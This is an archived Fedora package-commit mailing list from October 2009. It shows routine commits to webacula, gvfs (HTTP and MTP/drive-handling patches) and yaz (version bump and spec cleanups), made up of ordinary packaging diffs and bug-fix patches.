From tim4dev at fedoraproject.org  Fri Oct 16 12:01:00 2009
From: tim4dev at fedoraproject.org (tim4dev)
Date: Fri, 16 Oct 2009 12:01:00 +0000 (UTC)
Subject: rpms/webacula/F-12 sources,1.1,1.2
Message-ID: <20091016120100.10AFA11C00E5@cvs1.fedora.phx.redhat.com>

Author: tim4dev

Update of /cvs/pkgs/rpms/webacula/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9472

Modified Files:
	sources 
Log Message:
commit



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:31:28 -0000	1.1
+++ sources	16 Oct 2009 12:00:59 -0000	1.2
@@ -0,0 +1 @@
+d6ffafa3315758fb8d6b313e50c5c78c  webacula-3.3.tar.gz



From tbzatek at fedoraproject.org  Fri Oct 16 12:11:01 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Fri, 16 Oct 2009 12:11:01 +0000 (UTC)
Subject: rpms/gvfs/F-12 gvfs-1.4.1-http-soup-header-parsing.patch, NONE,
	1.1 gvfs-1.4.1-http-suport-stream-query-info.patch, NONE,
	1.1 gvfs-1.4.1-mtp-devices-mime.patch, NONE,
	1.1 0001-Disallow-mounting-empty-drives.patch, 1.1,
	1.2 0002-Disallow-ejecting-empty-drives.patch, 1.1,
	1.2 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch, 
	1.1, 1.2 gvfs.spec, 1.162, 1.163
Message-ID: <20091016121101.BCD6211C00E5@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/gvfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12346

Modified Files:
	0001-Disallow-mounting-empty-drives.patch 
	0002-Disallow-ejecting-empty-drives.patch 
	0003-Silently-drop-eject-error-messages-when-detaching-dr.patch 
	gvfs.spec 
Added Files:
	gvfs-1.4.1-http-soup-header-parsing.patch 
	gvfs-1.4.1-http-suport-stream-query-info.patch 
	gvfs-1.4.1-mtp-devices-mime.patch 
Log Message:
* Fri Oct 16 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-7
- HTTP: Support g_file_input_stream_query_info()
- HTTP: Use libsoup header parsing function
- Set correct MIME type for MTP music players


gvfs-1.4.1-http-soup-header-parsing.patch:
 configure.ac             |    2 +-
 daemon/gvfsbackendhttp.c |   30 +++++-------------------------
 2 files changed, 6 insertions(+), 26 deletions(-)

--- NEW FILE gvfs-1.4.1-http-soup-header-parsing.patch ---
>From 67069c464a2cb827a2afe2b7886e79707c7149e2 Mon Sep 17 00:00:00 2001
From: Christian Kellner <gicmo at gnome.org>
Date: Fri, 16 Oct 2009 10:34:02 +0000
Subject: [HTTP] Use soup's (2.26) header parsing function

Libsoup has (since 2.26) specific functions for parsing various
well-known http headers, including Content-Type and Content-Length.
Bump the soup requirement accordingly. Based on a patch rom Robert
Ancell <robert.ancell at gmail.com>
---
diff --git a/configure.ac b/configure.ac
index a2c9932..5069d73 100644
--- a/configure.ac
+++ b/configure.ac
@@ -121,7 +121,7 @@ HTTP_CFLAGS=
 HTTP_LIBS=
 
 if test "x$enable_http" != "xno"; then
-  PKG_CHECK_EXISTS(libsoup-gnome-2.4 >= 2.25.1, msg_http=yes)
+  PKG_CHECK_EXISTS(libsoup-gnome-2.4 >= 2.26.0, msg_http=yes)
 
   if test "x$msg_http" = "xyes"; then
     PKG_CHECK_MODULES(HTTP, libsoup-gnome-2.4 libxml-2.0)
diff --git a/daemon/gvfsbackendhttp.c b/daemon/gvfsbackendhttp.c
index 23d1f97..ee531d1 100644
--- a/daemon/gvfsbackendhttp.c
+++ b/daemon/gvfsbackendhttp.c
@@ -549,40 +549,24 @@ file_info_from_message (SoupMessage *msg,
   if (basename != NULL &&
       g_file_attribute_matcher_matches (matcher,
                                         G_FILE_ATTRIBUTE_STANDARD_DISPLAY_NAME))
-    {
-      ed_name = gvfs_file_info_populate_names_as_local (info, basename);
-    }
+    ed_name = gvfs_file_info_populate_names_as_local (info, basename);
 
   if (ed_name != NULL &&
       g_file_attribute_matcher_matches (matcher,
                                         G_FILE_ATTRIBUTE_STANDARD_EDIT_NAME))
-    {
-      g_file_info_set_edit_name (info, ed_name);
-    }
+    g_file_info_set_edit_name (info, ed_name);
 
   g_free (basename);
   g_free (ed_name);
 
-  text = soup_message_headers_get (msg->response_headers,
-                                   "Content-Length");
-  if (text)
-    {
-      guint64 size = g_ascii_strtoull (text, NULL, 10);
-      g_file_info_set_size (info, size);
-    }
-
+  if (soup_message_headers_get_encoding(msg->response_headers) == SOUP_ENCODING_CONTENT_LENGTH)
+    g_file_info_set_size (info, soup_message_headers_get_content_length (msg->response_headers));
 
-  text = soup_message_headers_get (msg->response_headers,
-                                   "Content-Type");
+  text = soup_message_headers_get_content_type (msg->response_headers, NULL);
   if (text)
     {
-      char *p = strchr (text, ';');
-      char *tmp = NULL;
       GIcon *icon;
 
-      if (p != NULL)
-        text = tmp = g_strndup (text, p - text);
-
       g_file_info_set_file_type (info, G_FILE_TYPE_REGULAR);
       g_file_info_set_content_type (info, text);
       g_file_info_set_attribute_string (info, G_FILE_ATTRIBUTE_STANDARD_FAST_CONTENT_TYPE, text);
@@ -590,9 +574,6 @@ file_info_from_message (SoupMessage *msg,
       icon = g_content_type_get_icon (text);
       g_file_info_set_icon (info, icon);
       g_object_unref (icon);
-
-      g_free (tmp);
-
     }
 
 
--
cgit v0.8.2

gvfs-1.4.1-http-suport-stream-query-info.patch:
 gvfsbackendhttp.c   |   85 +++++++++++++++++++++++++++++++++-------------------
 soup-input-stream.c |    7 ++++
 soup-input-stream.h |    3 +
 3 files changed, 64 insertions(+), 31 deletions(-)

--- NEW FILE gvfs-1.4.1-http-suport-stream-query-info.patch ---
>From 47a6cb95996df5538bab4b9b07cdd8f944c0b24b Mon Sep 17 00:00:00 2001
From: Christian Kellner <gicmo at gnome.org>
Date: Fri, 16 Oct 2009 10:18:17 +0000
Subject: [HTTP] Support g_file_input_stream_query_info()

Fixes bug 598505. Based on a patch from Robert Ancell.
---
diff --git a/daemon/gvfsbackendhttp.c b/daemon/gvfsbackendhttp.c
index 97c6ce7..23d1f97 100644
--- a/daemon/gvfsbackendhttp.c
+++ b/daemon/gvfsbackendhttp.c
@@ -529,30 +529,15 @@ try_close_read (GVfsBackend       *backend,
 
 /* *** query_info () *** */
 
-static void 
-query_info_ready (SoupSession *session,
-                  SoupMessage *msg,
-                  gpointer     user_data)
+static void
+file_info_from_message (SoupMessage *msg,
+                        GFileInfo *info,
+                        GFileAttributeMatcher *matcher)
 {
-  GFileAttributeMatcher *matcher;
-  GVfsJobQueryInfo      *job;
-  const SoupURI         *uri;
-  const char            *text;
-  GFileInfo             *info;
-  char                  *basename;
-  char                  *ed_name;
-
-  job     = G_VFS_JOB_QUERY_INFO (user_data);
-  info    = job->file_info;
-  matcher = job->attribute_matcher;
-  ed_name = NULL;
-
-  if (! SOUP_STATUS_IS_SUCCESSFUL (msg->status_code))
-    {
-      g_vfs_job_failed_from_http_status (G_VFS_JOB (job), msg->status_code,
-                                         msg->reason_phrase);
-      return;
-    }
+  const SoupURI *uri;
+  const char    *text;
+  char          *basename;
+  char          *ed_name = NULL;
 
   uri = soup_message_get_uri (msg);
   basename = http_uri_get_basename (uri->path);
@@ -636,7 +621,29 @@ query_info_ready (SoupSession *session,
                                         G_FILE_ATTRIBUTE_ETAG_VALUE,
                                         text);
     }
+}
+
+static void
+query_info_ready (SoupSession *session,
+                  SoupMessage *msg,
+                  gpointer     user_data)
+{
+  GFileAttributeMatcher *matcher;
+  GVfsJobQueryInfo      *job;
+  GFileInfo             *info;
+
+  job     = G_VFS_JOB_QUERY_INFO (user_data);
+  info    = job->file_info;
+  matcher = job->attribute_matcher;
+
+  if (! SOUP_STATUS_IS_SUCCESSFUL (msg->status_code))
+    {
+      g_vfs_job_failed_from_http_status (G_VFS_JOB (job), msg->status_code,
+                                         msg->reason_phrase);
+      return;
+    }
 
+  file_info_from_message (msg, info, matcher);
 
   g_vfs_job_succeeded (G_VFS_JOB (job));
 }
@@ -663,6 +670,24 @@ try_query_info (GVfsBackend           *backend,
 }
 
 
+static gboolean
+try_query_info_on_read (GVfsBackend           *backend,
+                        GVfsJobQueryInfoRead  *job,
+                        GVfsBackendHandle      handle,
+                        GFileInfo             *info,
+                        GFileAttributeMatcher *attribute_matcher)
+{
+    SoupMessage *msg = soup_input_stream_get_message (G_INPUT_STREAM (handle));
+
+    file_info_from_message (msg, info, attribute_matcher);
+    g_object_unref (msg);
+
+    g_vfs_job_succeeded (G_VFS_JOB (job));
+
+    return TRUE;
+}
+
+
 static void
 g_vfs_backend_http_class_init (GVfsBackendHttpClass *klass)
 {
@@ -673,11 +698,11 @@ g_vfs_backend_http_class_init (GVfsBackendHttpClass *klass)
 
   backend_class = G_VFS_BACKEND_CLASS (klass); 
 
-  backend_class->try_mount         = try_mount;
-  backend_class->try_open_for_read = try_open_for_read;
-  backend_class->try_read          = try_read;
-  backend_class->try_seek_on_read  = try_seek_on_read;
-  backend_class->try_close_read    = try_close_read;
-  backend_class->try_query_info    = try_query_info;
-
+  backend_class->try_mount              = try_mount;
+  backend_class->try_open_for_read      = try_open_for_read;
+  backend_class->try_read               = try_read;
+  backend_class->try_seek_on_read       = try_seek_on_read;
+  backend_class->try_close_read         = try_close_read;
+  backend_class->try_query_info         = try_query_info;
+  backend_class->try_query_info_on_read = try_query_info_on_read;
 }
diff --git a/daemon/soup-input-stream.c b/daemon/soup-input-stream.c
index facce17..e1928af 100644
--- a/daemon/soup-input-stream.c
+++ b/daemon/soup-input-stream.c
@@ -912,6 +912,13 @@ soup_input_stream_truncate (GSeekable     *seekable,
   return FALSE;
 }
 
+SoupMessage *
+soup_input_stream_get_message (GInputStream *stream)
+{
+  SoupInputStreamPrivate *priv = SOUP_INPUT_STREAM_GET_PRIVATE (stream);
+  return priv->msg ? g_object_ref (priv->msg) : NULL;
+}
+
 GQuark
 soup_http_error_quark (void)
 {
diff --git a/daemon/soup-input-stream.h b/daemon/soup-input-stream.h
index dd2c540..f425291 100644
--- a/daemon/soup-input-stream.h
+++ b/daemon/soup-input-stream.h
@@ -70,6 +70,8 @@ gboolean      soup_input_stream_send_finish (GInputStream        *stream,
 					     GAsyncResult        *result,
 					     GError             **error);
 
+SoupMessage  *soup_input_stream_get_message (GInputStream         *stream);
+
 #define SOUP_HTTP_ERROR soup_http_error_quark()
 GQuark soup_http_error_quark (void);
 
--
cgit v0.8.2

gvfs-1.4.1-mtp-devices-mime.patch:
 gvfsbackendgphoto2.c |   14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

--- NEW FILE gvfs-1.4.1-mtp-devices-mime.patch ---
>From a8cfac72e68eca250799065c59e3722fc88c5b87 Mon Sep 17 00:00:00 2001
From: Martin Pitt <martin.pitt at ubuntu.com>
Date: Mon, 12 Oct 2009 14:31:58 +0000
Subject: Bug 597585 ? 2.28 lists mtp devices as being cameras with gudev backend

Set correct MIME type for MTP music players based on whether it's a camera or a
music player.

Signed-off-by: David Zeuthen <davidz at redhat.com>
---
diff --git a/daemon/gvfsbackendgphoto2.c b/daemon/gvfsbackendgphoto2.c
index 3edd26f..45d030a 100644
--- a/daemon/gvfsbackendgphoto2.c
+++ b/daemon/gvfsbackendgphoto2.c
@@ -740,7 +740,9 @@ setup_for_device (GVfsBackendGphoto2 *gphoto2_backend)
 {
   gchar *devname;
   char *comma;
+  gboolean is_media_player = FALSE;
   char *camera_x_content_types[] = {"x-content/image-dcf", NULL};
+  char *media_player_x_content_types[] = {"x-content/audio-player", NULL};
 
   /* turn usb:001,041 string into an udev device name */
   if (!g_str_has_prefix (gphoto2_backend->gphoto2_port, "usb:"))
@@ -763,16 +765,25 @@ setup_for_device (GVfsBackendGphoto2 *gphoto2_backend)
 
       /* determine icon name */
       if (g_udev_device_has_property (gphoto2_backend->udev_device, "ID_MEDIA_PLAYER_ICON_NAME"))
+	{
           gphoto2_backend->icon_name = g_strdup (g_udev_device_get_property (gphoto2_backend->udev_device, "ID_MEDIA_PLAYER_ICON_NAME"));
+	  is_media_player = TRUE;
+	}
       else if (g_udev_device_has_property (gphoto2_backend->udev_device, "ID_MEDIA_PLAYER"))
+	{
           gphoto2_backend->icon_name = g_strdup ("multimedia-player");
+	  is_media_player = TRUE;
+	}
       else
           gphoto2_backend->icon_name = g_strdup ("camera-photo");
     }
   else
       DEBUG ("-> did not find matching udev device");
 
-  g_vfs_backend_set_x_content_types (G_VFS_BACKEND (gphoto2_backend), camera_x_content_types);
+  if (is_media_player)
+      g_vfs_backend_set_x_content_types (G_VFS_BACKEND (gphoto2_backend), media_player_x_content_types);
+  else
+      g_vfs_backend_set_x_content_types (G_VFS_BACKEND (gphoto2_backend), camera_x_content_types);
 }
 
 static void
--
cgit v0.8.2

0001-Disallow-mounting-empty-drives.patch:
 gvfsbackendcomputer.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

Index: 0001-Disallow-mounting-empty-drives.patch
===================================================================
RCS file: /cvs/extras/rpms/gvfs/F-12/0001-Disallow-mounting-empty-drives.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-Disallow-mounting-empty-drives.patch	9 Oct 2009 14:59:18 -0000	1.1
+++ 0001-Disallow-mounting-empty-drives.patch	16 Oct 2009 12:11:01 -0000	1.2
@@ -1,6 +1,6 @@
-From a0c8d67cfea614c8c920af7c4ce2d90e4ce7256f Mon Sep 17 00:00:00 2001
+From 37a559fdaf0b5cb880acd3718ed134fa7c48884d Mon Sep 17 00:00:00 2001
 From: Tomas Bzatek <tbzatek at redhat.com>
-Date: Fri, 2 Oct 2009 15:05:44 +0200
+Date: Tue, 13 Oct 2009 17:11:23 +0200
 Subject: [PATCH 1/3] Disallow mounting empty drives
 
 This concerns only removable media drives without any detected volumes.
@@ -8,13 +8,13 @@ The end result is no Mount item in Nauti
 on double-click over the drive icon.
 
 The exception is floppy drives, where we always allow mount without need
-to detecting media manually first.
+of detecting media manually first.
 ---
  daemon/gvfsbackendcomputer.c |    2 +-
  1 files changed, 1 insertions(+), 1 deletions(-)
 
 diff --git a/daemon/gvfsbackendcomputer.c b/daemon/gvfsbackendcomputer.c
-index 4f4b9ca..59eadba 100644
+index 4f4b9ca..7c6000c 100644
 --- a/daemon/gvfsbackendcomputer.c
 +++ b/daemon/gvfsbackendcomputer.c
 @@ -473,7 +473,7 @@ recompute_files (GVfsBackendComputer *backend)

0002-Disallow-ejecting-empty-drives.patch:
 ggdudrive.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

Index: 0002-Disallow-ejecting-empty-drives.patch
===================================================================
RCS file: /cvs/extras/rpms/gvfs/F-12/0002-Disallow-ejecting-empty-drives.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0002-Disallow-ejecting-empty-drives.patch	9 Oct 2009 14:59:18 -0000	1.1
+++ 0002-Disallow-ejecting-empty-drives.patch	16 Oct 2009 12:11:01 -0000	1.2
@@ -1,24 +1,25 @@
-From bef30fdc1cb0986326eac9acd7b5125cd8f4b61c Mon Sep 17 00:00:00 2001
+From 441c8a2daa493228b0a0466006f784c63a31a01e Mon Sep 17 00:00:00 2001
 From: Tomas Bzatek <tbzatek at redhat.com>
-Date: Fri, 2 Oct 2009 15:21:51 +0200
+Date: Tue, 13 Oct 2009 17:12:33 +0200
 Subject: [PATCH 2/3] Disallow ejecting empty drives
 
 Similar to previous commit, hide the Eject menu item when drive has no media.
 ---
- monitor/gdu/ggdudrive.c |    3 ++-
- 1 files changed, 2 insertions(+), 1 deletions(-)
+ monitor/gdu/ggdudrive.c |    4 +++-
+ 1 files changed, 3 insertions(+), 1 deletions(-)
 
 diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
-index b99ef6e..3509382 100644
+index 20f8940..79c6809 100644
 --- a/monitor/gdu/ggdudrive.c
 +++ b/monitor/gdu/ggdudrive.c
-@@ -188,7 +188,8 @@ update_drive (GGduDrive *drive)
+@@ -188,7 +188,9 @@ update_drive (GGduDrive *drive)
         *
         * See also below where we e.g. set can_eject to TRUE for non-removable drives.
         */
 -      drive->can_eject = gdu_device_drive_get_is_media_ejectable (device) || gdu_device_drive_get_requires_eject (device) || gdu_device_is_removable (device);
-+      drive->can_eject = ((gdu_device_drive_get_is_media_ejectable (device) || gdu_device_is_removable (device)) && gdu_device_is_media_available (device)) ||
-+                           gdu_device_drive_get_requires_eject (device);
++      drive->can_eject = ((gdu_device_drive_get_is_media_ejectable (device) || gdu_device_is_removable (device)) &&
++                          gdu_device_is_media_available (device) && ! _is_pc_floppy_drive (device)) ||
++                         gdu_device_drive_get_requires_eject (device);
        drive->is_media_check_automatic = gdu_device_is_media_change_detected (device);
        drive->can_poll_for_media = gdu_device_is_removable (device);
      }

0003-Silently-drop-eject-error-messages-when-detaching-dr.patch:
 ggdudrive.c |   16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

Index: 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch
===================================================================
RCS file: /cvs/extras/rpms/gvfs/F-12/0003-Silently-drop-eject-error-messages-when-detaching-dr.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch	9 Oct 2009 14:59:18 -0000	1.1
+++ 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch	16 Oct 2009 12:11:01 -0000	1.2
@@ -1,6 +1,6 @@
-From 6d7f1a8a842376be8f72cc1fc90fc3101e9752a3 Mon Sep 17 00:00:00 2001
+From becda6e9e9f8edb0042c0ca4844228ccfc907a7b Mon Sep 17 00:00:00 2001
 From: Tomas Bzatek <tbzatek at redhat.com>
-Date: Fri, 2 Oct 2009 15:35:41 +0200
+Date: Tue, 13 Oct 2009 17:13:02 +0200
 Subject: [PATCH 3/3] Silently drop eject error messages when detaching drive
 
 If there's no media in drive and yet it's marked as detachable,
@@ -11,10 +11,10 @@ This is the case with my USB SD card rea
  1 files changed, 13 insertions(+), 2 deletions(-)
 
 diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
-index 3509382..eb70d75 100644
+index 79c6809..309e18c 100644
 --- a/monitor/gdu/ggdudrive.c
 +++ b/monitor/gdu/ggdudrive.c
-@@ -648,6 +648,18 @@ eject_cb (GduDevice *device,
+@@ -641,6 +641,18 @@ eject_cb (GduDevice *device,
  {
    GSimpleAsyncResult *simple = G_SIMPLE_ASYNC_RESULT (user_data);
    GGduDrive *drive;
@@ -23,7 +23,7 @@ index 3509382..eb70d75 100644
 +  drive = G_GDU_DRIVE (g_async_result_get_source_object (G_ASYNC_RESULT (simple)));
 +  drive_detachable = drive->can_stop == FALSE && drive->start_stop_type == G_DRIVE_START_STOP_TYPE_SHUTDOWN;
 +
-+  if (error != NULL && error->code == G_IO_ERROR_FAILED && 
++  if (error != NULL && error->code == G_IO_ERROR_FAILED &&
 +      drive_detachable && ! drive->has_media && drive->is_media_removable)
 +    {
 +      /* Silently drop the error if there's no media in drive and we're still trying to detach it (see below) */
@@ -33,7 +33,7 @@ index 3509382..eb70d75 100644
  
    if (error != NULL)
      {
-@@ -658,8 +670,7 @@ eject_cb (GduDevice *device,
+@@ -651,8 +663,7 @@ eject_cb (GduDevice *device,
        goto out;
      }
  


Index: gvfs.spec
===================================================================
RCS file: /cvs/extras/rpms/gvfs/F-12/gvfs.spec,v
retrieving revision 1.162
retrieving revision 1.163
diff -u -p -r1.162 -r1.163
--- gvfs.spec	14 Oct 2009 13:38:18 -0000	1.162
+++ gvfs.spec	16 Oct 2009 12:11:01 -0000	1.163
@@ -1,7 +1,7 @@
 Summary: Backends for the gio framework in GLib
 Name: gvfs
 Version: 1.4.0
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -55,6 +55,10 @@ Patch9: 0002-Disallow-ejecting-empty-dri
 Patch10: 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch
 # https://bugzilla.redhat.com/show_bug.cgi?id=528181
 Patch11: obex-crasher.patch
+# from upstream
+Patch12: gvfs-1.4.1-http-suport-stream-query-info.patch
+Patch13: gvfs-1.4.1-http-soup-header-parsing.patch
+Patch14: gvfs-1.4.1-mtp-devices-mime.patch
 
 %description
 The gvfs package provides backend implementations for the gio
@@ -158,6 +162,9 @@ and iPod Touches to applications using g
 %patch9 -p1 -b .eject-empty
 %patch10 -p1 -b .error-detaching
 %patch11 -p1 -b .push-fail
+%patch12 -p1 -b .http-query-info
+%patch13 -p1 -b .http-headers
+%patch14 -p1 -b .mtp-mime
 
 %build
 
@@ -311,6 +318,11 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/gvfs/remote-volume-monitors/afc.monitor
 
 %changelog
+* Fri Oct 16 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-7
+- HTTP: Support g_file_input_stream_query_info()
+- HTTP: Use libsoup header parsing function
+- Set correct MIME type for MTP music players
+
 * Wed Oct 14 2009 Bastien Nocera <bnocera at redhat.com> 1.4.0-6
 - Fix crasher in ObexFTP (#528181)
 



From tim4dev at fedoraproject.org  Fri Oct 16 12:12:31 2009
From: tim4dev at fedoraproject.org (tim4dev)
Date: Fri, 16 Oct 2009 12:12:31 +0000 (UTC)
Subject: rpms/webacula/F-12 .cvsignore,1.1,1.2
Message-ID: <20091016121231.CBB6211C00E5@cvs1.fedora.phx.redhat.com>

Author: tim4dev

Update of /cvs/pkgs/rpms/webacula/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12691

Modified Files:
	.cvsignore 
Log Message:
commit



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:31:28 -0000	1.1
+++ .cvsignore	16 Oct 2009 12:12:31 -0000	1.2
@@ -0,0 +1 @@
+webacula-3.3.tar.gz



From guidograzioli at fedoraproject.org  Fri Oct 16 12:17:37 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Fri, 16 Oct 2009 12:17:37 +0000 (UTC)
Subject: rpms/yaz/devel .cvsignore, 1.14, 1.15 sources, 1.14, 1.15 yaz.spec, 
	1.19, 1.20
Message-ID: <20091016121737.2CCC211C00E5@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/yaz/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13705

Modified Files:
	.cvsignore sources yaz.spec 
Log Message:
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 3.0.49-1
- Upstream 3.0.49 (bugfixes and feature enhancements)
- Require pkgconfig for libyaz-devel (guidelines MUST)




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	27 Jun 2009 13:52:02 -0000	1.14
+++ .cvsignore	16 Oct 2009 12:17:36 -0000	1.15
@@ -1 +1 @@
-yaz-3.0.46.tar.gz
+yaz-3.0.49.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	27 Jun 2009 13:52:02 -0000	1.14
+++ sources	16 Oct 2009 12:17:36 -0000	1.15
@@ -1 +1 @@
-c1fa6be0ba3f3fd0392f3051b78927d8  yaz-3.0.46.tar.gz
+7402c6444386dc7db6be8bb9617e1e4d  yaz-3.0.49.tar.gz


Index: yaz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/devel/yaz.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- yaz.spec	27 Jul 2009 08:53:30 -0000	1.19
+++ yaz.spec	16 Oct 2009 12:17:36 -0000	1.20
@@ -1,6 +1,6 @@
 Name:           yaz
-Version:        3.0.46
-Release:        2%{?dist}
+Version:        3.0.49
+Release:        1%{?dist}
 Summary:        Z39.50/SRW/SRU programs
 
 Group:          Applications/Internet
@@ -22,7 +22,7 @@ Summary:        Z39.50 libraries
 Group:          System Environment/Libraries
 
 %description -n lib%{name}
-Z39.50 is a client server protocol for searching and retrieving 
+Z39.50 is a client-server protocol for searching and retrieving 
 information from remote computer databases (ANSI/NISO Z39.50 
 protocol).
 
@@ -32,13 +32,16 @@ Summary:        Development files for Z3
 Group:          Development/Libraries
 Requires:       libyaz = %{version}-%{release}
 Requires:       libxml2-devel, openssl-devel, readline-devel
+Requires:       pkgconfig
 
 %description -n lib%{name}-devel
-Development libraries and includes for the libyaz package.
+Development libraries and includes for the lib%{name} package.
 
 
 %prep
 %setup -q
+# Following file prevents make install to work (conflicts with ./NEWS)
+rm doc/NEWS
 
 
 %build
@@ -51,11 +54,11 @@ make LIBTOOL=%{_bindir}/libtool %{?_smp_
 
 
 %install
-rm -rf $RPM_BUILD_ROOT
-make LIBTOOL=%{_bindir}/libtool DESTDIR=$RPM_BUILD_ROOT install
+rm -rf %{buildroot}
+make LIBTOOL=%{_bindir}/libtool DESTDIR=%{buildroot} install
 # Remove cruft
-find $RPM_BUILD_ROOT -name '*.la' -o -name '*.a' | xargs rm -f
-rm -rf $RPM_BUILD_ROOT%{_docdir}
+find %{buildroot} -name '*.la' -o -name '*.a' | xargs rm -f
+rm -rf %{buildroot}%{_docdir}
 
 
 %check
@@ -63,7 +66,7 @@ make check
 
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 
 %post -n lib%{name} -p /sbin/ldconfig
@@ -109,6 +112,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 3.0.49-1
+- Upstream 3.0.49 (bugfixes and feature enhancements)
+- Require pkgconfig for libyaz-devel (guidelines MUST)
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.46-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From tim4dev at fedoraproject.org  Fri Oct 16 12:22:42 2009
From: tim4dev at fedoraproject.org (tim4dev)
Date: Fri, 16 Oct 2009 12:22:42 +0000 (UTC)
Subject: rpms/webacula/EL-5 .cvsignore,1.1,1.2 sources,1.1,1.2
Message-ID: <20091016122242.A541E11C00E5@cvs1.fedora.phx.redhat.com>

Author: tim4dev

Update of /cvs/pkgs/rpms/webacula/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15464

Modified Files:
	.cvsignore sources 
Log Message:
initial commit



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:31:28 -0000	1.1
+++ .cvsignore	16 Oct 2009 12:22:42 -0000	1.2
@@ -0,0 +1 @@
+webacula-3.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:31:28 -0000	1.1
+++ sources	16 Oct 2009 12:22:42 -0000	1.2
@@ -0,0 +1 @@
+d6ffafa3315758fb8d6b313e50c5c78c  webacula-3.3.tar.gz



From tim4dev at fedoraproject.org  Fri Oct 16 12:23:43 2009
From: tim4dev at fedoraproject.org (tim4dev)
Date: Fri, 16 Oct 2009 12:23:43 +0000 (UTC)
Subject: rpms/webacula/EL-5 webacula.spec,NONE,1.1
Message-ID: <20091016122343.23FE211C00E5@cvs1.fedora.phx.redhat.com>

Author: tim4dev

Update of /cvs/pkgs/rpms/webacula/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15980

Added Files:
	webacula.spec 
Log Message:
initial commit



--- NEW FILE webacula.spec ---
Name:          webacula
Version:       3.3
Release:       6%{?dist}
Summary:       Web interface of a Bacula backup system
Summary(ru):   ??? ????????? ??? Bacula backup system

Group:      Applications/Internet
License:    GPLv3+
URL:        http://webacula.sourceforge.net/
Source0:    http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:  noarch

Requires: webserver
Requires: bacula-console >= 2.4.0
Requires: php-ZendFramework >= 1.8.3
Requires: php >= 5.2.4
Requires: php-pdo
Requires: php-json
Requires: php-pcre
Requires: php-gd
Requires: php-xml

%description
Webacula - Web Bacula - web interface of a Bacula backup system.
Supports the run Job, restore all files or selected files,
restore the most recent backup for a client,
restore backup for a client before a specified time,
mount/umount Storages, show scheduled, running and terminated Jobs and more.
Supported languages: English, French, German, Portuguese Brazil, Russian.

%description -l ru
Webacula - Web Bacula - ??? ????????? ??? Bacula backup system.
???????????? ?????? ???????, ?????????????? ???? ??? ????????? ??????,
?????????????? ?????? ??????? ?????? ??? ???????,
?????????????? ?????? ??? ??????? ?????????? ????? ????????? ????????,
????????????/??????????????? ????????, ????? ???????????????, 
????????????? ? ??????????? ??????? ? ??????.
?????????????? ?????: ??????????, ???????????, ????????,
??????????? ?????????????, ???????.


%prep
%setup -q
rm -f ./application/.htaccess
rm -f ./html/test_mod_rewrite/.htaccess
rm -f ./html/.htaccess
